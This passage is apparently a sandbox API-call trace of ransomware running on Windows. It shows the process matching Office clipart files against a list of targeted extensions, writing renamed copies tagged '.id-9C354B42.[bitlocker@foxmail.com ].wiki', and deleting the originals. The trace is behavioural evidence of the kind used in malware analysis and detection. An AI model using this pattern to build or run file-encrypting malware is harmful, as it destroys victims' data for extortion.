[0193.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF") returned 63 [0193.259] lstrlenW (lpString=".dbf") returned 4 [0193.259] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF") returned 63 [0193.259] lstrlenW (lpString=".1cd") returned 4 [0193.259] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF") returned 63 [0193.259] lstrlenW (lpString=".jpg") returned 4 [0193.259] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF") returned 63 [0193.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF") returned 63 [0193.259] lstrlenW (lpString=".doc") returned 4 [0193.259] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.259] lstrlenW (lpString=".docx") returned 5 [0193.259] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0193.259] lstrlenW (lpString=".pdf") returned 4 [0193.259] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.259] lstrlenW (lpString=".xls") returned 4 [0193.259] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.259] lstrlenW (lpString=".xlsx") returned 5 [0193.259] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0193.259] lstrlenW (lpString=".ppt") returned 4 [0193.260] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF") returned 63 [0193.260] lstrlenW (lpString=".zip") returned 4 [0193.260] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.260] lstrlenW (lpString=".rar") returned 4 [0193.260] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.260] lstrlenW (lpString=".bz2") returned 4 [0193.260] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.260] lstrlenW (lpString=".7z") returned 3 [0193.260] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF") returned 63 [0193.260] lstrlenW (lpString=".dbf") returned 4 [0193.260] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF") returned 63 [0193.260] lstrlenW (lpString=".1cd") returned 4 [0193.260] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF") returned 63 [0193.260] lstrlenW (lpString=".jpg") returned 4 [0193.260] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.260] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0193.260] lstrlenW (lpString="J0105266.WMF") returned 12 [0193.260] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105266.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0193.261] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=5908) returned 1 [0193.261] CloseHandle (hObject=0x1cc) returned 1 [0193.261] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105266.wmf")) returned 0x20 [0193.261] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105266.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0193.261] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105266.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0193.261] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0193.261] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0193.261] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105266.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0193.262] GetLastError () returned 0x0 [0193.262] ReadFile (in: hFile=0x1cc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x1714, lpOverlapped=0x0) returned 1 [0193.263] WriteFile (in: hFile=0x1e0, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x1720, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x1720, lpOverlapped=0x0) returned 1 [0193.265] ReadFile (in: hFile=0x1cc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0193.265] WriteFile (in: hFile=0x1e0, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0193.265] SetEndOfFile (hFile=0x1e0) returned 1 [0193.265] CloseHandle (hObject=0x1e0) returned 1 [0193.265] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0193.265] SetEndOfFile (hFile=0x1cc) returned 1 [0193.266] CloseHandle (hObject=0x1cc) returned 1 [0193.266] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0193.266] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105266.wmf")) returned 1 [0193.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF") returned 63 [0193.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF") returned 63 [0193.266] lstrlenW (lpString=".doc") returned 4 [0193.266] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.266] lstrlenW (lpString=".docx") returned 5 [0193.266] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0193.266] lstrlenW (lpString=".pdf") returned 4 [0193.266] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.266] lstrlenW (lpString=".xls") returned 4 [0193.266] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.266] lstrlenW (lpString=".xlsx") returned 5 [0193.266] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0193.266] lstrlenW (lpString=".ppt") returned 4 [0193.266] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF") returned 63 [0193.267] lstrlenW (lpString=".zip") returned 4 [0193.267] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.267] lstrlenW (lpString=".rar") returned 4 [0193.267] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.267] lstrlenW (lpString=".bz2") returned 4 [0193.267] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.267] lstrlenW (lpString=".7z") returned 3 [0193.267] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF") returned 63 [0193.267] lstrlenW (lpString=".dbf") returned 4 [0193.267] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF") returned 63 [0193.267] lstrlenW (lpString=".1cd") returned 4 [0193.267] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF") returned 63 [0193.267] lstrlenW (lpString=".jpg") returned 4 [0193.267] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF") returned 63 [0193.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF") returned 63 [0193.267] lstrlenW (lpString=".doc") returned 4 [0193.267] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.267] lstrlenW (lpString=".docx") returned 5 [0193.267] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0193.267] lstrlenW (lpString=".pdf") returned 4 [0193.267] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.267] lstrlenW (lpString=".xls") returned 4 [0193.267] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.267] lstrlenW (lpString=".xlsx") returned 5 [0193.267] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0193.268] lstrlenW (lpString=".ppt") returned 4 [0193.268] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF") returned 63 [0193.268] lstrlenW (lpString=".zip") returned 4 [0193.268] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.268] lstrlenW (lpString=".rar") returned 4 [0193.268] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.268] lstrlenW (lpString=".bz2") returned 4 [0193.268] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.268] lstrlenW (lpString=".7z") returned 3 [0193.268] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF") returned 63 [0193.268] lstrlenW (lpString=".dbf") returned 4 [0193.268] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF") returned 63 [0193.268] lstrlenW (lpString=".1cd") returned 4 [0193.268] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF") returned 63 [0193.268] lstrlenW (lpString=".jpg") returned 4 [0193.268] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.268] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0193.268] lstrlenW (lpString="J0105272.WMF") returned 12 [0193.268] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105272.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0193.269] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=17728) returned 1 [0193.269] CloseHandle (hObject=0x1cc) returned 1 [0193.269] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105272.wmf")) returned 0x20 [0193.269] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105272.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0193.269] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105272.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0193.269] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0193.269] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0193.269] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105272.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0193.270] GetLastError () returned 0x0 [0193.270] ReadFile (in: hFile=0x1cc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x4540, lpOverlapped=0x0) returned 1 [0193.271] WriteFile (in: hFile=0x1e0, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x4550, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x4550, lpOverlapped=0x0) returned 1 [0193.272] ReadFile (in: hFile=0x1cc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0193.273] WriteFile (in: hFile=0x1e0, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0193.273] SetEndOfFile (hFile=0x1e0) returned 1 [0193.273] CloseHandle (hObject=0x1e0) returned 1 [0193.273] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0193.273] SetEndOfFile (hFile=0x1cc) returned 1 [0193.274] CloseHandle (hObject=0x1cc) returned 1 [0193.274] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0193.274] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105272.wmf")) returned 1 [0193.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF") returned 63 [0193.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF") returned 63 [0193.274] lstrlenW (lpString=".doc") returned 4 [0193.274] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.274] lstrlenW (lpString=".docx") returned 5 [0193.274] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0193.274] lstrlenW (lpString=".pdf") returned 4 [0193.274] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.274] lstrlenW (lpString=".xls") returned 4 [0193.274] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.274] lstrlenW (lpString=".xlsx") returned 5 [0193.274] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0193.274] lstrlenW (lpString=".ppt") returned 4 [0193.274] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF") returned 63 [0193.274] lstrlenW (lpString=".zip") returned 4 [0193.275] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.275] lstrlenW (lpString=".rar") returned 4 [0193.275] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.275] lstrlenW (lpString=".bz2") returned 4 [0193.275] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.275] lstrlenW (lpString=".7z") returned 3 [0193.275] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF") returned 63 [0193.275] lstrlenW (lpString=".dbf") returned 4 [0193.275] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF") returned 63 [0193.275] lstrlenW (lpString=".1cd") returned 4 [0193.275] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF") returned 63 [0193.275] lstrlenW (lpString=".jpg") returned 4 [0193.275] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF") returned 63 [0193.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF") returned 63 [0193.275] lstrlenW (lpString=".doc") returned 4 [0193.275] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.275] lstrlenW (lpString=".docx") returned 5 [0193.275] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0193.275] lstrlenW (lpString=".pdf") returned 4 [0193.275] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.275] lstrlenW (lpString=".xls") returned 4 [0193.275] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.275] lstrlenW (lpString=".xlsx") returned 5 [0193.275] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0193.276] lstrlenW (lpString=".ppt") returned 4 [0193.276] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF") returned 63 [0193.276] lstrlenW (lpString=".zip") returned 4 [0193.276] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.276] lstrlenW (lpString=".rar") returned 4 [0193.276] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.276] lstrlenW (lpString=".bz2") returned 4 [0193.276] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.276] lstrlenW (lpString=".7z") returned 3 [0193.276] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF") returned 63 [0193.276] lstrlenW (lpString=".dbf") returned 4 [0193.276] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF") returned 63 [0193.276] lstrlenW (lpString=".1cd") returned 4 [0193.276] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF") returned 63 [0193.276] lstrlenW (lpString=".jpg") returned 4 [0193.276] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.276] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0193.276] lstrlenW (lpString="J0105276.WMF") returned 12 [0193.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105276.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0193.277] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=19240) returned 1 [0193.277] CloseHandle (hObject=0x1cc) returned 1 [0193.277] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105276.wmf")) returned 0x20 [0193.277] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105276.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0193.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105276.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0193.277] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0193.277] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0193.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105276.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0193.649] GetLastError () returned 0x0 [0193.649] ReadFile (in: hFile=0x1cc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x4b28, lpOverlapped=0x0) returned 1 [0193.672] WriteFile (in: hFile=0x220, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x4b30, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x4b30, lpOverlapped=0x0) returned 1 [0193.673] ReadFile (in: hFile=0x1cc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0193.673] WriteFile (in: hFile=0x220, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0193.674] SetEndOfFile (hFile=0x220) returned 1 [0193.674] CloseHandle (hObject=0x220) returned 1 [0193.674] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0193.674] SetEndOfFile (hFile=0x1cc) returned 1 [0193.675] CloseHandle (hObject=0x1cc) returned 1 [0193.675] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0193.675] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105276.wmf")) returned 1 [0193.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF") returned 63 [0193.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF") returned 63 [0193.675] lstrlenW (lpString=".doc") returned 4 [0193.675] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.675] lstrlenW (lpString=".docx") returned 5 [0193.675] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0193.675] lstrlenW (lpString=".pdf") returned 4 [0193.675] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.675] lstrlenW (lpString=".xls") returned 4 [0193.675] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.675] lstrlenW (lpString=".xlsx") returned 5 [0193.675] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0193.675] lstrlenW (lpString=".ppt") returned 4 [0193.675] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF") returned 63 [0193.676] lstrlenW (lpString=".zip") returned 4 [0193.676] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.676] lstrlenW (lpString=".rar") returned 4 [0193.676] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.676] lstrlenW (lpString=".bz2") returned 4 [0193.676] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.676] lstrlenW (lpString=".7z") returned 3 [0193.676] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF") returned 63 [0193.676] lstrlenW (lpString=".dbf") returned 4 [0193.676] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF") returned 63 [0193.676] lstrlenW (lpString=".1cd") returned 4 [0193.676] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF") returned 63 [0193.676] lstrlenW (lpString=".jpg") returned 4 [0193.676] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF") 